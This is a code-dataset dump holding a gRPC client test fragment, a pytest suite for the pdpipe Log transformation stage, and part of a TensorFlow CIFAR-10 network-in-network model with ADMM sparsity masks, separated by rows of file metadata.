self.assertTrue(f"server doesn't support {not_support_service}" in exception_msg)
for service in ('grpc.health.v1.Health', 'grpc.reflection.v1alpha.ServerReflection', 'helloworld.Greeter'):
self.assertTrue(service in exception_msg)
client._channel.close()
def test_not_support_method(self):
client = Client(self.default_endpoint)
not_support_method = 'notSupport'
with self.assertRaises(ValueError) as context:
client.stream_unary(self.service, not_support_method, [{'name': "sinsky"}])
exception_msg = f"{context.exception}"
print(exception_msg)
self.assertTrue(f"{self.service} doesn't support {not_support_method} method" in exception_msg)
for method in ('HelloEveryone', 'SayHello', 'SayHelloGroup', 'SayHelloOneByOne'):
self.assertTrue(method in exception_msg)
client._channel.close()
| 43.994083
| 115
| 0.675857
| 834
| 7,435
| 5.834532
| 0.092326
| 0.065762
| 0.055898
| 0.041102
| 0.934443
| 0.918002
| 0.90074
| 0.847308
| 0.847308
| 0.847308
| 0
| 0.001535
| 0.211432
| 7,435
| 168
| 116
| 44.255952
| 0.828415
| 0.013988
| 0
| 0.79562
| 0
| 0
| 0.200683
| 0.044778
| 0
| 0
| 0
| 0
| 0.248175
| 1
| 0.087591
| false
| 0
| 0.021898
| 0
| 0.226277
| 0.036496
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5eacf28646d7eaa0f9ae18107dd5853197606f5b
| 10,121
|
py
|
Python
|
tests/col_generation/test_log.py
|
DavidKatz-il/pdpipe
|
5ddd066425d99886bfc51cf19ab78b2bf8c7791a
|
[
"MIT"
] | 438
|
2017-03-02T16:55:34.000Z
|
2019-12-20T03:29:36.000Z
|
tests/col_generation/test_log.py
|
DavidKatz-il/pdpipe
|
5ddd066425d99886bfc51cf19ab78b2bf8c7791a
|
[
"MIT"
] | 68
|
2019-12-21T12:51:51.000Z
|
2022-03-13T13:06:14.000Z
|
tests/col_generation/test_log.py
|
DavidKatz-il/pdpipe
|
5ddd066425d99886bfc51cf19ab78b2bf8c7791a
|
[
"MIT"
] | 30
|
2019-12-21T12:18:18.000Z
|
2022-03-17T05:53:19.000Z
|
"""Testing basic pipeline stages."""
import pytest
import numpy as np
import pandas as pd
from numpy.testing import assert_approx_equal
from pdpipe import Log
def _some_df():
return pd.DataFrame(
data=[[1, 3.2, "acd"], [8, 7.2, "alk"], [3, 12.1, "alk"]],
index=[1, 2, 3],
columns=["rank", "ph", "lbl"]
)
def _some_df2():
return pd.DataFrame(
data=[[3, 4.4, "acd"], [5, 6.1, "alk"], [1, 1.3, "alk"]],
index=[1, 2, 3],
columns=["rank", "ph", "lbl"]
)
@pytest.mark.log
def test_log():
df = _some_df()
log_stage = Log()
res_df = log_stage(df)
assert 'rank' in res_df.columns
assert 'ph' in res_df.columns
for col in df.columns:
for i in df.index:
assert res_df[col][i] == df[col][i]
assert res_df['rank_log'][1] == 0
assert_approx_equal(res_df['rank_log'][2], 2.079441, significant=5)
assert_approx_equal(res_df['rank_log'][3], 1.098612, significant=5)
assert_approx_equal(res_df['ph_log'][1], 1.163151, significant=5)
assert_approx_equal(res_df['ph_log'][2], 1.974081, significant=5)
assert_approx_equal(res_df['ph_log'][3], 2.493205, significant=5)
# see only transform (no fit) when already fitted
df2 = _some_df2()
res_df2 = log_stage(df2)
assert 'rank' in res_df2.columns
assert 'ph' in res_df2.columns
for col in df2.columns:
for i in df2.index:
assert res_df2[col][i] == df2[col][i]
assert_approx_equal(res_df2['rank_log'][1], 1.098612, significant=5)
assert_approx_equal(res_df2['rank_log'][2], 1.609437, significant=5)
assert res_df2['rank_log'][3] == 0
assert_approx_equal(res_df2['ph_log'][1], 1.481604, significant=5)
assert_approx_equal(res_df2['ph_log'][2], 1.808288, significant=5)
assert_approx_equal(res_df2['ph_log'][3], 0.262364, significant=5)
# check fit_transform when already fitted
df2 = _some_df2()
res_df2 = log_stage.fit_transform(df2)
assert 'rank' in res_df2.columns
assert 'ph' in res_df2.columns
for col in df2.columns:
for i in df2.index:
assert res_df2[col][i] == df2[col][i]
assert_approx_equal(res_df2['rank_log'][1], 1.098612, significant=5)
assert_approx_equal(res_df2['rank_log'][2], 1.609437, significant=5)
assert res_df2['rank_log'][3] == 0
assert_approx_equal(res_df2['ph_log'][1], 1.481604, significant=5)
assert_approx_equal(res_df2['ph_log'][2], 1.808288, significant=5)
assert_approx_equal(res_df2['ph_log'][3], 0.262364, significant=5)
def _non_neg_df():
return pd.DataFrame(
data=[[-2, 3.2, "acd"], [8, 7.2, "alk"], [3, 12.1, "alk"]],
index=[1, 2, 3],
columns=["rank", "ph", "lbl"]
)
def _non_neg_df2():
return pd.DataFrame(
data=[[-3, 4.4, "acd"], [5, 6.1, "alk"], [1, 1.3, "alk"]],
index=[1, 2, 3],
columns=["rank", "ph", "lbl"]
)
@pytest.mark.log
def test_log_non_neg():
df = _non_neg_df()
log_stage = Log(non_neg=True)
res_df = log_stage(df)
assert 'rank' in res_df.columns
assert 'ph' in res_df.columns
for col in df.columns:
for i in df.index:
assert res_df[col][i] == df[col][i]
assert res_df['rank_log'][1] == -np.inf
assert_approx_equal(res_df['rank_log'][2], 2.302585, significant=5)
assert_approx_equal(res_df['rank_log'][3], 1.609436, significant=5)
assert_approx_equal(res_df['ph_log'][1], 1.163151, significant=5)
assert_approx_equal(res_df['ph_log'][2], 1.974081, significant=5)
assert_approx_equal(res_df['ph_log'][3], 2.493205, significant=5)
# see only transform (no fit) when already fitted
df2 = _non_neg_df2()
res_df2 = log_stage(df2, verbose=True)
assert 'rank' in res_df2.columns
assert 'ph' in res_df2.columns
for col in df2.columns:
for i in df2.index:
assert res_df2[col][i] == df2[col][i]
assert np.isnan(res_df2['rank_log'][1])
assert_approx_equal(res_df2['rank_log'][2], 1.945910, significant=5)
assert_approx_equal(res_df2['rank_log'][3], 1.098612, significant=5)
assert_approx_equal(res_df2['ph_log'][1], 1.481604, significant=5)
assert_approx_equal(res_df2['ph_log'][2], 1.808288, significant=5)
assert_approx_equal(res_df2['ph_log'][3], 0.262364, significant=5)
# check fit_transform when already fitted
df2 = _some_df2()
res_df2 = log_stage.fit_transform(df2)
assert 'rank' in res_df2.columns
assert 'ph' in res_df2.columns
for col in df2.columns:
for i in df2.index:
assert res_df2[col][i] == df2[col][i]
assert_approx_equal(res_df2['rank_log'][1], 1.098612, significant=5)
assert_approx_equal(res_df2['rank_log'][2], 1.609437, significant=5)
assert res_df2['rank_log'][3] == 0
assert_approx_equal(res_df2['ph_log'][1], 1.481604, significant=5)
assert_approx_equal(res_df2['ph_log'][2], 1.808288, significant=5)
assert_approx_equal(res_df2['ph_log'][3], 0.262364, significant=5)
@pytest.mark.log
def test_log_non_neg_n_const_shift():
df = _non_neg_df()
log_stage = Log(non_neg=True, const_shift=0.1)
res_df = log_stage(df)
assert 'rank' in res_df.columns
assert 'ph' in res_df.columns
for col in df.columns:
for i in df.index:
assert res_df[col][i] == df[col][i]
assert_approx_equal(res_df['rank_log'][1], -2.302585, significant=5)
assert_approx_equal(res_df['rank_log'][2], 2.312534, significant=5)
assert_approx_equal(res_df['rank_log'][3], 1.629240, significant=5)
assert_approx_equal(res_df['ph_log'][1], 1.193922, significant=5)
assert_approx_equal(res_df['ph_log'][2], 1.987874, significant=5)
assert_approx_equal(res_df['ph_log'][3], 2.501435, significant=5)
# see only transform (no fit) when already fitted
df2 = _non_neg_df2()
res_df2 = log_stage(df2, verbose=True)
assert 'rank' in res_df2.columns
assert 'ph' in res_df2.columns
for col in df2.columns:
for i in df2.index:
assert res_df2[col][i] == df2[col][i]
assert np.isnan(res_df2['rank_log'][1])
assert_approx_equal(res_df2['rank_log'][2], 1.960094, significant=5)
assert_approx_equal(res_df2['rank_log'][3], 1.131402, significant=5)
assert_approx_equal(res_df2['ph_log'][1], 1.504077, significant=5)
assert_approx_equal(res_df2['ph_log'][2], 1.824549, significant=5)
assert_approx_equal(res_df2['ph_log'][3], 0.336472, significant=5)
# def test_encode_with_args():
# """Basic binning test."""
# df = _some_df()
# encode_stage = Encode("lbl", drop=False)
# res_df = encode_stage(df, verbose=True)
# assert 'lbl' in res_df.columns
# assert res_df['lbl_enc'][1] == 0
# assert res_df['lbl_enc'][2] == 1
# assert res_df['lbl_enc'][3] == 1
#
# # see only transform (no fit) when already fitted
# df2 = _some_df2()
# res_df2 = encode_stage(df2)
# assert 'lbl' in res_df.columns
# assert res_df2['lbl_enc'][1] == 1
# assert res_df2['lbl_enc'][2] == 0
# assert res_df2['lbl_enc'][3] == 1
#
# # check fit_transform when already fitted
# df2 = _some_df2()
# res_df2 = encode_stage.fit_transform(df2, verbose=True)
# assert 'lbl' in res_df.columns
# assert res_df2['lbl_enc'][1] == 1
# assert res_df2['lbl_enc'][2] == 0
# assert res_df2['lbl_enc'][3] == 1
@pytest.mark.log
def test_log_with_exclude():
df = _some_df()
log_stage = Log(exclude_columns='lbl')
res_df = log_stage(df)
assert 'lbl' in res_df.columns
assert 'rank' in res_df.columns
assert 'ph' in res_df.columns
for col in df.columns:
for i in df.index:
assert res_df[col][i] == df[col][i]
assert res_df['rank_log'][1] == 0
assert_approx_equal(res_df['rank_log'][2], 2.079441, significant=5)
assert_approx_equal(res_df['rank_log'][3], 1.098612, significant=5)
assert_approx_equal(res_df['ph_log'][1], 1.163151, significant=5)
assert_approx_equal(res_df['ph_log'][2], 1.974081, significant=5)
assert_approx_equal(res_df['ph_log'][3], 2.493205, significant=5)
@pytest.mark.log
def test_log_with_verbose():
df = _some_df()
log_stage = Log()
res_df = log_stage(df, verbose=True)
assert 'lbl' in res_df.columns
assert 'rank' in res_df.columns
assert 'ph' in res_df.columns
for col in df.columns:
for i in df.index:
assert res_df[col][i] == df[col][i]
assert res_df['rank_log'][1] == 0
assert_approx_equal(res_df['rank_log'][2], 2.079441, significant=5)
assert_approx_equal(res_df['rank_log'][3], 1.098612, significant=5)
assert_approx_equal(res_df['ph_log'][1], 1.163151, significant=5)
assert_approx_equal(res_df['ph_log'][2], 1.974081, significant=5)
assert_approx_equal(res_df['ph_log'][3], 2.493205, significant=5)
@pytest.mark.log
def test_log_drop():
df = _some_df()
log_stage = Log(drop=True)
res_df = log_stage(df)
assert 'rank' in res_df.columns
assert 'ph' in res_df.columns
assert 'rank_log' not in res_df.columns
assert 'ph_log' not in res_df.columns
assert res_df['rank'][1] == 0
assert_approx_equal(res_df['rank'][2], 2.079441, significant=5)
assert_approx_equal(res_df['rank'][3], 1.098612, significant=5)
assert_approx_equal(res_df['ph'][1], 1.163151, significant=5)
assert_approx_equal(res_df['ph'][2], 1.974081, significant=5)
assert_approx_equal(res_df['ph'][3], 2.493205, significant=5)
# see only transform (no fit) when already fitted
df2 = _some_df2()
res_df2 = log_stage(df2)
assert 'rank' in res_df2.columns
assert 'ph' in res_df2.columns
assert 'rank_log' not in res_df2.columns
assert 'ph_log' not in res_df2.columns
assert_approx_equal(res_df2['rank'][1], 1.098612, significant=5)
assert_approx_equal(res_df2['rank'][2], 1.609437, significant=5)
assert res_df2['rank'][3] == 0
assert_approx_equal(res_df2['ph'][1], 1.481604, significant=5)
assert_approx_equal(res_df2['ph'][2], 1.808288, significant=5)
assert_approx_equal(res_df2['ph'][3], 0.262364, significant=5)
| 38.192453
| 72
| 0.658631
| 1,677
| 10,121
| 3.716756
| 0.059034
| 0.056153
| 0.1691
| 0.195732
| 0.932777
| 0.91561
| 0.903738
| 0.873095
| 0.858656
| 0.847746
| 0
| 0.090799
| 0.186049
| 10,121
| 264
| 73
| 38.337121
| 0.665817
| 0.113526
| 0
| 0.704434
| 0
| 0
| 0.071301
| 0
| 0
| 0
| 0
| 0
| 0.55665
| 1
| 0.049261
| false
| 0
| 0.024631
| 0.019704
| 0.093596
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
5ec31bdf0e034fc86a93810bf1bcc088f94cab23
| 24,763
|
py
|
Python
|
cifar10/cifar_models.py
|
fkiaee/sparsecnn
|
4df3b2fa175ce914efbb99a2f4d801dd293c1d73
|
[
"MIT"
] | 16
|
2017-07-14T05:51:09.000Z
|
2021-03-11T15:01:41.000Z
|
cifar10/cifar_models.py
|
fkiaee/sparsecnn
|
4df3b2fa175ce914efbb99a2f4d801dd293c1d73
|
[
"MIT"
] | null | null | null |
cifar10/cifar_models.py
|
fkiaee/sparsecnn
|
4df3b2fa175ce914efbb99a2f4d801dd293c1d73
|
[
"MIT"
] | 3
|
2018-01-23T08:14:45.000Z
|
2021-03-26T15:19:05.000Z
|
#!/usr/bin/env python
import tensorflow as tf
import numpy as np
import os
import sys
# Add the ADMMutils module to the import path
sys.path.append(os.path.realpath(os.path.join(os.path.dirname(__file__), '../')))
import ADMMutils
def model_load(model_id,X,phase):
variables_dict = {}; dictTrain = {}; dictTest = {}; placeholders_dict = {};
if model_id in [0]:
## ====================nin===================
layer_list = [1,2,3];layer_type = ['c','c','c'];
# define mlpconv layers which are not subjected to sparsity
shape_records_non_sparse = [(1,1,192,160),(1,1,160,96),(1,1,192,192),(1,1,192,192),(1,1,192,192)];
non_sparse_weights = ['cccp1W','cccp2W','cccp3W','cccp4W','cccp5W'];
non_sparse_biases = ['cccp1b','cccp2b','cccp3b','cccp4b','cccp5b'];
for num_layer in range(len(non_sparse_weights)):
variables_dict[non_sparse_weights[num_layer]] = tf.Variable(tf.random_normal(list(shape_records_non_sparse[num_layer]), stddev=0.05))
variables_dict[non_sparse_biases[num_layer]] = tf.Variable(tf.zeros([list(shape_records_non_sparse[num_layer])[-1]]))
tf.add_to_collection('weight_decay', tf.nn.l2_loss(variables_dict[non_sparse_weights[num_layer]]))
tf.add_to_collection('lr_w1', variables_dict[non_sparse_weights[num_layer]])
tf.add_to_collection('lr_b1', variables_dict[non_sparse_weights[num_layer]])
variables_dict['cccp6W'] = tf.Variable(tf.random_normal([1,1,192,10], stddev=0.05))
variables_dict['cccp6b'] = tf.Variable(tf.zeros([10]))
tf.add_to_collection('weight_decay', tf.nn.l2_loss(variables_dict['cccp6W']))
tf.add_to_collection('lr_w2', variables_dict['cccp6W'])
tf.add_to_collection('lr_b2', variables_dict['cccp6b'])
# define conv layers which are subjected to sparsity
shape_records_sparse = [(5,5,3,192),(5,5,96,192),(3,3,192,192)];
for num_layer,id_layer in enumerate(layer_list):
variables_dict['W_%s%s'%(layer_type[num_layer],str(id_layer))] = tf.Variable(tf.random_normal(list(shape_records_sparse[num_layer]), stddev=0.05))
variables_dict['b_%s%s'%(layer_type[num_layer],str(id_layer))] = tf.Variable(tf.zeros([list(shape_records_sparse[num_layer])[-1]]))
tf.add_to_collection('weight_decay', tf.nn.l2_loss(variables_dict['W_%s%s'%(layer_type[num_layer],str(id_layer))]))
tf.add_to_collection('lr_w1', variables_dict['W_%s%s'%(layer_type[num_layer],str(id_layer))])
tf.add_to_collection('lr_b1', variables_dict['b_%s%s'%(layer_type[num_layer],str(id_layer))])
for num_layer,id_layer in enumerate(layer_list):
placeholders_dict['zero_map%s'%str(num_layer)] = tf.placeholder("float", list(shape_records_sparse[num_layer]))
drop_dict = {"dropout_rate_conv":tf.placeholder("float")}
dictTrain[drop_dict["dropout_rate_conv"]] = 0.5;
dictTest[drop_dict["dropout_rate_conv"]] = 0.0;
# define the graph ('forced_zero' nodes are defined to fix sparsity pattern identified using ADMM in fine-tuning step )
#conv1 -> conv(5, 5, 192, 1, 1, name='conv1')
k_h = 5; k_w = 5; c_o = 192; s_h = 1; s_w = 1
forced_zero1 = tf.mul(variables_dict['W_c1'],placeholders_dict['zero_map0'])
conv1_in = ADMMutils.conv(X, forced_zero1, variables_dict['b_c1'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=1)
conv1 = tf.nn.relu(conv1_in)
#cccp1 -> conv(1, 1, 160, 1, 1, name='cccp1')
k_h = 1; k_w = 1; c_o = 160; s_h = 1; s_w = 1
cccp1_in = ADMMutils.conv(conv1, variables_dict['cccp1W'], variables_dict['cccp1b'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=1)
cccp1 = tf.nn.relu(cccp1_in)
#cccp2 -> conv(1, 1, 96, 1, 1, name='cccp2')
k_h = 1; k_w = 1; c_o = 96; s_h = 1; s_w = 1
cccp2_in = ADMMutils.conv(cccp1, variables_dict['cccp2W'], variables_dict['cccp2b'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=1)
cccp2 = tf.nn.relu(cccp2_in)
#maxpool1 -> max_pool(3, 3, 2, 2, name='pool1')
k_h = 3; k_w = 3; s_h = 2; s_w = 2; padding = 'SAME'
maxpool1 = tf.nn.max_pool(cccp2 , ksize=[1, k_h, k_w, 1], strides=[1, s_h, s_w, 1], padding=padding)
maxpool1 = tf.nn.dropout(maxpool1, 1.-drop_dict["dropout_rate_conv"])
#conv2 -> conv(5, 5, 192, 1, 1, name='conv2')
k_h = 5; k_w = 5; c_o = 192; s_h = 1; s_w = 1; group = 1
forced_zero2 = tf.mul(variables_dict['W_c2'],placeholders_dict['zero_map1'])
conv2_in = ADMMutils.conv(maxpool1, forced_zero2, variables_dict['b_c2'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=group)
conv2 = tf.nn.relu(conv2_in)
#cccp3 -> conv(1, 1, 192, 1, 1, name='cccp3')
k_h = 1; k_w = 1; c_o = 192; s_h = 1; s_w = 1
cccp3_in = ADMMutils.conv(conv2, variables_dict['cccp3W'], variables_dict['cccp3b'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=1)
cccp3 = tf.nn.relu(cccp3_in)
#cccp4 -> conv(1, 1, 192, 1, 1, name='cccp4')
k_h = 1; k_w = 1; c_o = 192; s_h = 1; s_w = 1
cccp4_in = ADMMutils.conv(cccp3, variables_dict['cccp4W'], variables_dict['cccp4b'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=1)
cccp4 = tf.nn.relu(cccp4_in)
#avgpool2 -> avg_pool(3, 3, 2, 2, name='pool2')
k_h = 3; k_w = 3; s_h = 2; s_w = 2; padding = 'SAME'
maxpool2 = tf.nn.avg_pool(cccp4, ksize=[1, k_h, k_w, 1], strides=[1, s_h, s_w, 1], padding=padding)
maxpool2 = tf.nn.dropout(maxpool2, 1.-drop_dict["dropout_rate_conv"])
#conv3 -> conv(3, 3, 192, 1, 1, name='conv3')
k_h = 3; k_w = 3; c_o = 192; s_h = 1; s_w = 1; group = 1
forced_zero3 = tf.mul(variables_dict['W_c3'],placeholders_dict['zero_map2'])
conv3_in = ADMMutils.conv(maxpool2, forced_zero3, variables_dict['b_c3'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=group)
conv3 = tf.nn.relu(conv3_in)
#cccp5 -> conv(1, 1, 192, 1, 1, name='cccp5')
k_h = 1; k_w = 1; c_o = 192; s_h = 1; s_w = 1
cccp5_in = ADMMutils.conv(conv3, variables_dict['cccp5W'], variables_dict['cccp5b'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=1)
cccp5 = tf.nn.relu(cccp5_in)
#cccp6 -> conv(1, 1, 10, 1, 1, name='cccp6')
k_h = 1; k_w = 1; c_o = 10; s_h = 1; s_w = 1
cccp6_in = ADMMutils.conv(cccp5, variables_dict['cccp6W'], variables_dict['cccp6b'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=1)
cccp6 = tf.nn.relu(cccp6_in)
#avgpool3 -> avg_pool(8, 8, 1, 1, padding='VALID', name='pool3')
k_h = 8; k_w = 8; s_h = 1; s_w = 1; padding = 'VALID'
maxpool5 = tf.nn.avg_pool(cccp6, ksize=[1, k_h, k_w, 1], strides=[1, s_h, s_w, 1], padding=padding)
pred = tf.squeeze(maxpool5)
if model_id in [1]:
## ====================nin_c3===================
layer_list = [1,2,3,4];layer_type = ['c','c','c','c'];
# define mlpconv layers which are not subjected to sparsity
shape_records_non_sparse = [(1,1,192,160),(1,1,160,96),(1,1,192,192),(1,1,192,192),(1,1,192,192)];
non_sparse_weights = ['cccp1W','cccp2W','cccp3W','cccp4W','cccp5W'];
non_sparse_biases = ['cccp1b','cccp2b','cccp3b','cccp4b','cccp5b'];
for num_layer in range(len(non_sparse_weights)):
variables_dict[non_sparse_weights[num_layer]] = tf.Variable(tf.random_normal(list(shape_records_non_sparse[num_layer]), stddev=0.05))
variables_dict[non_sparse_biases[num_layer]] = tf.Variable(tf.zeros([list(shape_records_non_sparse[num_layer])[-1]]))
tf.add_to_collection('weight_decay', tf.nn.l2_loss(variables_dict[non_sparse_weights[num_layer]]))
tf.add_to_collection('lr_w1', variables_dict[non_sparse_weights[num_layer]])
tf.add_to_collection('lr_b1', variables_dict[non_sparse_weights[num_layer]])
variables_dict['cccp6W'] = tf.Variable(tf.random_normal([1,1,192,10], stddev=0.05))
variables_dict['cccp6b'] = tf.Variable(tf.zeros([10]))
tf.add_to_collection('weight_decay', tf.nn.l2_loss(variables_dict['cccp6W']))
tf.add_to_collection('lr_w2', variables_dict['cccp6W'])
tf.add_to_collection('lr_b2', variables_dict['cccp6b'])
# define conv layers which are subjected to sparsity
shape_records_sparse = [(3,3,3,192),(3,3,96,192),(3,1,192,192),(3,3,192,192)];
for num_layer,id_layer in enumerate(layer_list):
variables_dict['W_%s%s'%(layer_type[num_layer],str(id_layer))] = tf.Variable(tf.random_normal(list(shape_records_sparse[num_layer]), stddev=0.05))
variables_dict['b_%s%s'%(layer_type[num_layer],str(id_layer))] = tf.Variable(tf.zeros([list(shape_records_sparse[num_layer])[-1]]))
tf.add_to_collection('weight_decay', tf.nn.l2_loss(variables_dict['W_%s%s'%(layer_type[num_layer],str(id_layer))]))
tf.add_to_collection('lr_w1', variables_dict['W_%s%s'%(layer_type[num_layer],str(id_layer))])
tf.add_to_collection('lr_b1', variables_dict['b_%s%s'%(layer_type[num_layer],str(id_layer))])
for num_layer,id_layer in enumerate(layer_list):
placeholders_dict['zero_map%s'%str(num_layer)] = tf.placeholder("float", list(shape_records_sparse[num_layer]))
drop_dict = {"dropout_rate_conv":tf.placeholder("float")}
dictTrain[drop_dict["dropout_rate_conv"]] = 0.5;
dictTest[drop_dict["dropout_rate_conv"]] = 0.0;
# define the graph ('forced_zero' nodes are defined to fix sparsity pattern identified using ADMM in fine-tuning step )
#conv1 -> conv(5, 5, 192, 1, 1, name='conv1')
k_h = 3; k_w = 3; c_o = 192; s_h = 1; s_w = 1
forced_zero1 = tf.mul(variables_dict['W_c1'],placeholders_dict['zero_map0'])
conv1_in = ADMMutils.conv(X, forced_zero1, variables_dict['b_c1'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=1)
conv1 = tf.nn.relu(conv1_in)
#cccp1 -> conv(1, 1, 160, 1, 1, name='cccp1')
k_h = 1; k_w = 1; c_o = 160; s_h = 1; s_w = 1
cccp1_in = ADMMutils.conv(conv1, variables_dict['cccp1W'], variables_dict['cccp1b'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=1)
cccp1 = tf.nn.relu(cccp1_in)
#cccp2 -> conv(1, 1, 96, 1, 1, name='cccp2')
k_h = 1; k_w = 1; c_o = 96; s_h = 1; s_w = 1
cccp2_in = ADMMutils.conv(cccp1, variables_dict['cccp2W'], variables_dict['cccp2b'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=1)
cccp2 = tf.nn.relu(cccp2_in)
#maxpool1 -> max_pool(3, 3, 2, 2, name='pool1')
k_h = 3; k_w = 3; s_h = 2; s_w = 2; padding = 'SAME'
maxpool1 = tf.nn.max_pool(cccp2 , ksize=[1, k_h, k_w, 1], strides=[1, s_h, s_w, 1], padding=padding)
maxpool1 = tf.nn.dropout(maxpool1, 1.-drop_dict["dropout_rate_conv"])
#conv2 -> conv(3, 3, 192, 1, 1, name='conv2_1')
k_h = 3; k_w = 3; c_o = 192; s_h = 1; s_w = 1; group = 1
forced_zero2 = tf.mul(variables_dict['W_c2'],placeholders_dict['zero_map1'])
conv2_in = ADMMutils.conv(maxpool1, forced_zero2, variables_dict['b_c2'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=group)
conv2 = tf.nn.relu(conv2_in)
#conv3 -> conv(3,1, 192, 1, 1, name='conv2_2')
k_h = 3; k_w = 1; c_o = 192; s_h = 1; s_w = 1; group = 1
forced_zero3 = tf.mul(variables_dict['W_c3'],placeholders_dict['zero_map2'])
conv3_in = ADMMutils.conv(conv2, forced_zero3, variables_dict['b_c3'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=group)
conv3 = tf.nn.relu(conv3_in)
#cccp3 -> conv(1, 1, 192, 1, 1, name='cccp3')
k_h = 1; k_w = 1; c_o = 192; s_h = 1; s_w = 1
cccp3_in = ADMMutils.conv(conv3, variables_dict['cccp3W'], variables_dict['cccp3b'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=1)
cccp3 = tf.nn.relu(cccp3_in)
#cccp4 -> conv(1, 1, 192, 1, 1, name='cccp4')
k_h = 1; k_w = 1; c_o = 192; s_h = 1; s_w = 1
cccp4_in = ADMMutils.conv(cccp3, variables_dict['cccp4W'], variables_dict['cccp4b'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=1)
cccp4 = tf.nn.relu(cccp4_in)
#avgpool2 -> avg_pool(3, 3, 2, 2, name='pool2')
k_h = 3; k_w = 3; s_h = 2; s_w = 2; padding = 'SAME'
maxpool2 = tf.nn.avg_pool(cccp4, ksize=[1, k_h, k_w, 1], strides=[1, s_h, s_w, 1], padding=padding)
maxpool2 = tf.nn.dropout(maxpool2, 1.-drop_dict["dropout_rate_conv"])
#conv4 -> conv(3, 3, 192, 1, 1, name='conv3')
k_h = 3; k_w = 3; c_o = 192; s_h = 1; s_w = 1; group = 1
forced_zero4 = tf.mul(variables_dict['W_c4'],placeholders_dict['zero_map3'])
conv4_in = ADMMutils.conv(maxpool2, forced_zero4, variables_dict['b_c4'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=group)
conv4 = tf.nn.relu(conv4_in)
#cccp5 -> conv(1, 1, 192, 1, 1, name='cccp5')
k_h = 1; k_w = 1; c_o = 192; s_h = 1; s_w = 1
cccp5_in = ADMMutils.conv(conv4, variables_dict['cccp5W'], variables_dict['cccp5b'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=1)
cccp5 = tf.nn.relu(cccp5_in)
#cccp6 -> conv(1, 1, 10, 1, 1, name='cccp6')
k_h = 1; k_w = 1; c_o = 10; s_h = 1; s_w = 1
cccp6_in = ADMMutils.conv(cccp5, variables_dict['cccp6W'], variables_dict['cccp6b'], k_h, k_w, c_o, s_h, s_w, padding="SAME", group=1)
cccp6 = tf.nn.relu(cccp6_in)
#avgpool3 -> avg_pool(8, 8, 1, 1, padding='VALID', name='pool3')
k_h = 8; k_w = 8; s_h = 1; s_w = 1; padding = 'VALID'
maxpool5 = tf.nn.avg_pool(cccp6, ksize=[1, k_h, k_w, 1], strides=[1, s_h, s_w, 1], padding=padding)
pred = tf.squeeze(maxpool5)
if model_id in [2]:
## ====================nin_c3_lr===================
layer_list = [1,2,3,4,5,6,7,8];layer_type = ['c','c','c','c','c','c','c','c'];
# define mlpconv layers which are not subjected to sparsity
shape_records_non_sparse = [(1,1,192,160),(1,1,160,96),(1,1,192,192),(1,1,192,192),(1,1,192,192)];
non_sparse_weights = ['cccp1W','cccp2W','cccp3W','cccp4W','cccp5W'];
non_sparse_biases = ['cccp1b','cccp2b','cccp3b','cccp4b','cccp5b'];
for num_layer in range(len(non_sparse_weights)):
variables_dict[non_sparse_weights[num_layer]] = tf.Variable(tf.random_normal(list(shape_records_non_sparse[num_layer]), stddev=0.05))
variables_dict[non_sparse_biases[num_layer]] = tf.Variable(tf.zeros([list(shape_records_non_sparse[num_layer])[-1]]))
tf.add_to_collection('weight_decay', tf.nn.l2_loss(variables_dict[non_sparse_weights[num_layer]]))
tf.add_to_collection('lr_w1', variables_dict[non_sparse_weights[num_layer]])
tf.add_to_collection('lr_b1', variables_dict[non_sparse_weights[num_layer]])
variables_dict['cccp6W'] = tf.Variable(tf.random_normal([1,1,192,10], stddev=0.05))
variables_dict['cccp6b'] = tf.Variable(tf.zeros([10]))
tf.add_to_collection('weight_decay', tf.nn.l2_loss(variables_dict['cccp6W']))
tf.add_to_collection('lr_w2', variables_dict['cccp6W'])
tf.add_to_collection('lr_b2', variables_dict['cccp6b'])
# define conv layers which are subjected to sparsity
shape_records_sparse = [(1,3,3,96),(3,1,3,96),(1,3,96,96),(3,1,96,96),(1,3,192,96),(3,1,192,96),(1,3,192,96),(3,1,192,96)];
for num_layer,id_layer in enumerate(layer_list):
variables_dict['W_%s%s'%(layer_type[num_layer],str(id_layer))] = tf.Variable(tf.random_normal(list(shape_records_sparse[num_layer]), stddev=0.05))
variables_dict['b_%s%s'%(layer_type[num_layer],str(id_layer))] = tf.Variable(tf.zeros([list(shape_records_sparse[num_layer])[-1]]))
tf.add_to_collection('weight_decay', tf.nn.l2_loss(variables_dict['W_%s%s'%(layer_type[num_layer],str(id_layer))]))
tf.add_to_collection('lr_w1', variables_dict['W_%s%s'%(layer_type[num_layer],str(id_layer))])
tf.add_to_collection('lr_b1', variables_dict['b_%s%s'%(layer_type[num_layer],str(id_layer))])
for num_layer,id_layer in enumerate(layer_list):
placeholders_dict['zero_map%s'%str(num_layer)] = tf.placeholder("float", list(shape_records_sparse[num_layer]))
drop_dict = {"dropout_rate_conv":tf.placeholder("float")}
